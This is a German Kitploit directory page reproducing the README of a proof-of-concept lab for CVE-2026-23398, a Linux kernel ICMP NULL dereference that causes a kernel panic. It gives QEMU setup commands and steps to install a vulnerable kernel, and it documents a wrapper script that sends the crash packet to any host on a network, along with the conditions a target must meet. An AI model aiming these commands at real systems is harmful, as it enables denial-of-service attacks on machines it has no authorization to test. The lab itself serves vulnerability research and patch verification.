Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-23398-poc — Reproduzierbares Labor für CVE-2026-23398, eine NULL-Dereferenz im Linux-Kernel in icmp_tag_validation(), ausgelöst durch ICMP-Fragmentierungsbenötigt-Pakete, die einen Denial-of-Service verursacht. Enthält QEMU-VM-Einrichtung, Scapy-PoC und Skripte zum Testen gepatchter und verwundbarer Kernel. | Kitploit
Tools/GitHubGitHub/zpol/cve-2026-23398-poc
SchwachstellenanalyseExploitationFuzzingPenetrationstestsLernen & BildungLabs & Praxis
GitHubzpol/cve-2026-23398-poc

cve-2026-23398-poc

Repository anzeigen
117vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Reproduzierbares Labor für CVE-2026-23398, eine NULL-Dereferenz im Linux-Kernel in icmp_tag_validation(), ausgelöst durch ICMP-Fragmentierungsbenötigt-Pakete, die einen Denial-of-Service verursacht. Enthält QEMU-VM-Einrichtung, Scapy-PoC und Skripte zum Testen gepatchter und verwundbarer Kernel.

Teilen

Lab: CVE-2026-23398 (ICMP / ip_no_pmtu_disc=3)

Reproduzierbares Lab für den Linux-Kernel-Bug in icmp_tag_validation() (NULL-Dereferenz, wenn net.ipv4.ip_no_pmtu_disc = 3 und eine Fragmentation Needed-ICMP-Nachricht eintrifft, deren zitierter innerer IPv4-Header eine Protokollnummer ohne Handler in inet_protos[] verwendet).

Nur für autorisierte Nutzung: Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Auswirkung ist Denial of Service (Kernel-Panic).


Host-Anforderungen

KomponenteZweck
QEMU (qemu-system-x86_64, qemu-img)Opfer-VM
cloud-image-utils (cloud-localds), wget, genisoimageCloud-init und Image-Download
Docker + Docker ComposeICMP-Sender vom Host (host-Netzwerkmodus)
OpenSSH-ClientSSH-Automatisierung
SSH-Schlüssel in ~/.ssh/id_ed25519.pub oder id_rsa.pub, oder sshpassGast-Login ohne Passworteingabe (Schlüssel empfohlen)
sudoNur TAP-Modus (ICMP vom Host zur festen IP der VM)

Python 3 und Scapy auf dem Host werden nur benötigt, wenn Sie Docker nicht für Remote-Payloads verwenden.


Repository-Struktur

├── send_frag_needed.py          # Scapy-PoC (ICMP 3,4 + inneres IP mit ungewöhnlichem Proto)
├── send-payload-to-host.sh      # Payload an eine IP/einen Hostnamen in Ihrem Netzwerk senden
├── docker-compose.yml           # „sender“-Dienst (Host-Netzwerk + CAP_NET_RAW)
├── Dockerfile
├── vm/                          # Festplatten, Cloud-init-Seeds, QEMU-Serienprotokolle
└── scripts/
    ├── fetch-image.sh
    ├── prepare-disk.sh
    ├── build-seed-dhcp.sh       # DHCP-Seed (usernet-Modus)
    ├── build-seed.sh            # Statischer 192.168.76.2-Seed (TAP-Modus)
    ├── vm-start-usernet.sh      # QEMU + User-Netzwerk (SSH-Port 2222)
    ├── vm-stop-usernet.sh
    ├── vm-start.sh / vm-stop.sh # QEMU + TAP (nach tap-up.sh)
    ├── tap-up.sh / tap-down.sh  # TAP-Schnittstelle auf dem Host (sudo)
    ├── run-lab-usernet.sh       # Vollständiger Ablauf: Image + VM + Scapy auf dem Gast (aktueller Kernel)
    ├── run-lab.sh               # TAP-Ablauf + Docker-Sender → 192.168.76.2
    ├── install-vulnerable-mainline.sh  # Ungepatchtes Mainline 6.12 + veth-PoC (Panic)
    └── poc-veth-netns.sh        # *Innerhalb* des Gasts ausführen (veth + netns)

Modus A — Vollständiges QEMU-Lab (User-Netzwerk, kein TAP)

QEMU-User-Netzwerk liefert vom Host stammende ICMP-Nachrichten nicht zuverlässig an den Gast. Der automatisierte Ablauf installiert Scapy auf der VM und führt das Skript dort aus. Ein aktueller Ubuntu-Kernel ist in der Regel gepatcht: Sie sehen „Sent 1 packets“, aber keine Panic.

cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh

# Erster Lauf: Ubuntu-Noble-Cloud-Image herunterladen, Overlay, Seed, QEMU starten, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh
  • SSH: ssh -p 2222 [email protected] (Passwort lablab, falls Sie auf Passwort-Authentifizierung setzen).
  • VM stoppen: ./scripts/vm-stop-usernet.sh
  • Serienkonsole (Panic, oops): vm/serial-usernet.log

Modus B — Verwundbarer Kernel + reproduzierbare Panic

Der CVE-Fix wurde im März 2026 eingespielt. Ein älterer Mainline-Build (z. B. 6.12.0 vom 2024-11) enthält diesen Fix nicht. Das Skript installiert diese .deb-Pakete in der VM, startet neu und führt den PoC mit veth + einem Netzwerk-Namespace aus, sodass ICMP einen echten Ingress-Pfad durchläuft (das Senden nur an die eigene Loopback-/Schnittstellen-IP des Gasts ist nicht ausreichend).

Warnung: Dies endet in der Regel in einer Kernel-Panic; SSH reagiert nicht mehr.

# usernet-VM läuft (oder nachdem run-lab-usernet sie einmal erstellt hat)
./scripts/vm-start-usernet.sh   # falls noch nicht gestartet

./scripts/install-vulnerable-mainline.sh

Woran Sie erkennen, ob es funktioniert hat

SignalPanic ist aufgetreten (erwartet bei verwundbarem 6.12)Panic ist nicht aufgetreten
SSH direkt nach „Running PoC …“Hängt oder Connection timed out / Connection resetSitzung funktioniert weiter; Sie erhalten eine Shell
send_frag_needed.py-AusgabeSie sollten . Sent 1 packets. sehen, bevor SSH stirbt (oft abgeschnitten, wenn die Verbindung sofort abbricht)Install Scapy: pip install scapy → Scapy fehlte auf dem Gast; die ICMP-Nachricht wurde nie gesendet. Führen Sie install-vulnerable-mainline.sh erneut aus (es installiert python3-scapy) oder führen Sie sudo apt install -y python3-scapy auf der VM aus und führen Sie den PoC erneut aus
Serienprotokolltail -f vm/serial-usernet.log zeigt Kernel panic, icmp_unreach, CR2: 0000000000000010 usw.Keine Panic-Zeilen; der Gast läuft weiter
QEMU-ProzessLäuft noch, aber das Gast-Betriebssystem ist tot bis zum NeustartDer Gast antwortet weiterhin auf Port 2222

Hinweis zu frischer Festplatte: Wenn Sie nur prepare-disk.sh + vm-start-usernet.sh ausführen (nicht run-lab-usernet.sh), verfügt der Gast möglicherweise nicht über python3-scapy, bis install-vulnerable-mainline.sh es installiert (oder Sie es manuell installieren).

Nach einer Panic — sauberer Reset:

./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# optional: Pakete neu installieren / install-vulnerable-mainline.sh erneut ausführen

Modus C — Host → VM-ICMP (TAP)

Der Gast verwendet 192.168.76.2 und der Host 192.168.76.1 auf dem TAP. ICMP verhält sich wie in einem echten LAN.

./scripts/tap-up.sh              # sudo: erstellt icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh          # statische Adressierung in cloud-init
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2

# Auf der VM: sysctl -w net.ipv4.ip_no_pmtu_disc=3 und ein verwundbarer Kernel, falls Sie eine Panic möchten

docker compose build
docker compose run --rm sender 192.168.76.2

./scripts/run-lab.sh verknüpft einen Teil davon (erfordert TAP + Docker).


Payload an eine Maschine in Ihrem Netzwerk

Praktischer Wrapper (löst Hostname → IPv4 auf, bevorzugt Docker, sonst sudo + Python):

chmod +x send-payload-to-host.sh
docker compose build    # einmalig

./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200

Ohne Docker:

sudo pip install scapy   # falls benötigt
sudo ./send-payload-to-host.sh 192.168.1.50

Zielbedingungen, die für diese CVE relevant sind:

  1. Linux-Kernel ohne den Fix (oder Distro-Äquivalent noch nicht angewendet).
  2. net.ipv4.ip_no_pmtu_disc = 3 (gehärteter PMTU-Modus).
  3. Das Paket muss über den normalen IPv4-Eingangspfad empfangen werden (Verkehr, der auf einer Schnittstelle eintrifft).

Wenn der Kernel gepatcht ist oder der sysctl-Wert nicht 3 ist, sehen Sie keine Panic; das Paket kann trotzdem auf dem Draht übertragen werden.


Umgebungsvariablen

VariableBeschreibung
ICMP_LAB_TAPTAP-Gerätename (Standard icmp-lab-tap0)
ICMP_LAB_HOST_IPHost-Adresse auf TAP (Standard 192.168.76.1/24)
ICMP_LAB_SSH_PORTusernet-SSH-Port (Standard 2222)
ICMP_LAB_SSH_HOSTSSH-Host (Standard 127.0.0.1)

Referenzen

  • CVE-2026-23398 (NVD)
  • Fix: icmp: fix NULL pointer dereference in icmp_tag_validation() (Commit 614aefe56af8e auf Mainline)
  • Einführung von Modus 3: Commit 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)

Schnellbefehlsreferenz

Tool herunterladen